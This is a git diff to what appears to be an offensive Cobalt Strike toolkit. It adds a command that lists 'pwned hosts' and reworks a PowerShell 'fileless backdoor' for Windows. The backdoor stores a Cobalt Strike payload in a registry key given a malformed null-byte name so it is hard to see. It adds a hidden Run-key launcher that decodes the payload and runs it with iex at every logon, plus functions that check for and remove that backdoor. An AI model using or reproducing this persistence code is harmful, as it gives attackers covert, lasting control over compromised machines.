diff --git a/kits/DebugKit/DebugKit.cna b/kits/DebugKit/DebugKit.cna index 006235b..b0ca75c 100644 --- a/kits/DebugKit/DebugKit.cna +++ b/kits/DebugKit/DebugKit.cna @@ -31,6 +31,14 @@ command !who{ println("\c7Current logged on users are: \cF" . data_query('users')); } +# This command shows a hostname of every sessions that happened, active or inactive. Basically just to provide a list of pwned hosts. +command !pwn3d_hosts { + foreach $session (data_query('sessions')) { + $computer = $session['computer']; + println($computer); + } +} + popup beacon_bottom { menu "DebugKit" { item "Notify at next check-in"{ diff --git a/kits/PersistKit/PersistKit.cna b/kits/PersistKit/PersistKit.cna index 082341f..cfea07f 100644 --- a/kits/PersistKit/PersistKit.cna +++ b/kits/PersistKit/PersistKit.cna @@ -33,7 +33,7 @@ sub createFilelessBackdoor{ binput($bid, "powershell-import Persist-Poweliks.ps1"); bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); binput($bid, "powershell Persist-Poweliks"); - bpowershell($bid, "Persist-Poweliks -cobaltstrike_gen_payload \" $+ $psPayload $+ \""); + bpowerpick($bid, "Persist-Poweliks -cobaltstrike_gen_payload \" $+ $psPayload $+ \""); } # Returns a string to use for the reg key name @@ -84,12 +84,28 @@ popup beacon_bottom { }, $bid => $1)); } } - item "Create fileless backdoor"{ - local('$bid'); - foreach $bid ($1){ - openPayloadHelper(lambda({ - createFilelessBackdoor($bid, $1); - }, $bid => $1)); + menu "Fileless backdoor" { + item "Create fileless backdoor"{ + local('$bid'); + foreach $bid ($1){ + openPayloadHelper(lambda({ + createFilelessBackdoor($bid, $1); + }, $bid => $1)); + } + } + item "Check for fileless backdoor"{ + local('$bid'); + foreach $bid ($1){ + bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); + bpowershell($bid, "Test-Poweliks"); + } + } + item "Remove fileless backdoor"{ + local('$bid'); + foreach $bid ($1){ + bpowershell_import($bid, script_resource("PersistKit/scripts/Persist-Poweliks.ps1")); + bpowershell($bid, "Remove-Poweliks"); + } } } } diff --git a/kits/PersistKit/scripts/Persist-Poweliks.ps1 b/kits/PersistKit/scripts/Persist-Poweliks.ps1 index 5077059..2f5b279 100644 --- a/kits/PersistKit/scripts/Persist-Poweliks.ps1 +++ b/kits/PersistKit/scripts/Persist-Poweliks.ps1 @@ -23,7 +23,7 @@ PS C:\> Persist-Poweliks -cobaltstrike_gen_payload [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) - $powershell_path = (Get-Process powershell | select -First 1).path + $powershell_path = "$PSHome\powershell.exe" #Write the malformed registry key new-item -path "HKLM:SOFTWARE\$malformed_string" -force @@ -31,5 +31,59 @@ PS C:\> Persist-Poweliks -cobaltstrike_gen_payload #Write the powershell bytecode to a key, $malformed_string, in HKLM:SOFTWARE\$malformed_string new-ItemProperty -path "HKLM:SOFTWARE\$malformed_string" -name "$malformed_string" -value "$cobaltstrike_gen_payload" - New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; $powershell_path -windowstyle hidden -ec `$val`"" -} \ No newline at end of file + # Double powershell method (will have 2 instances of powershell running) + # New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; $powershell_path -windowstyle hidden -ec `$val`"" + + # Single powershell method (will have one instance of powershell.exe running) + New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $malformed_string -PropertyType String -value "$powershell_path -windowstyle hidden -c `"`$val = (gp HKLM:SOFTWARE\`'$malformed_string`').`'$malformed_string`'; `$d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String(`$val)); iex `$d`"" +} + + +function Test-Poweliks{ +<# +.DESCRIPTION +This function checks for the presence of a backdoor that would have been added by the Persist-Poweliks function + +.EXAMPLE +PS C:\> Test-Poweliks +#> + + [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n + $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) + + if (Test-Path "HKLM:\SOFTWARE\$malformed_string") { + echo "[*] Backdoor exists" + } else { + echo "[!] No backdoor present" + } + if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") { + echo "[*] Launcher exists" + } else { + echo "[!] No launcher present" + } +} + +function Remove-Poweliks{ +<# +.DESCRIPTION +This function removes a backdoor added by the Persist-Poweliks function + +.EXAMPLE +PS C:\> Remove-Poweliks +#> + [Byte[]]$malformed_ary = 0x00,0x0a,0x0d #`0`r`n + $malformed_string = [System.text.encoding]::Unicode.GetString($malformed_ary) + if (Test-Path "HKLM:\SOFTWARE\$malformed_string") { + Remove-Item -Path "HKLM:\SOFTWARE\$malformed_string" + echo "[*] Backdoor Removed" + } else { + echo "[!] Error Removing Backdoor (already removed?)" + } + + if (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "$malformed_string") { + Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name "$malformed_string" + echo "[*] Launcher Removed" + } else { + echo "[!] Error Remove Launcher (already removed?)" + } +} \ No newline at end of file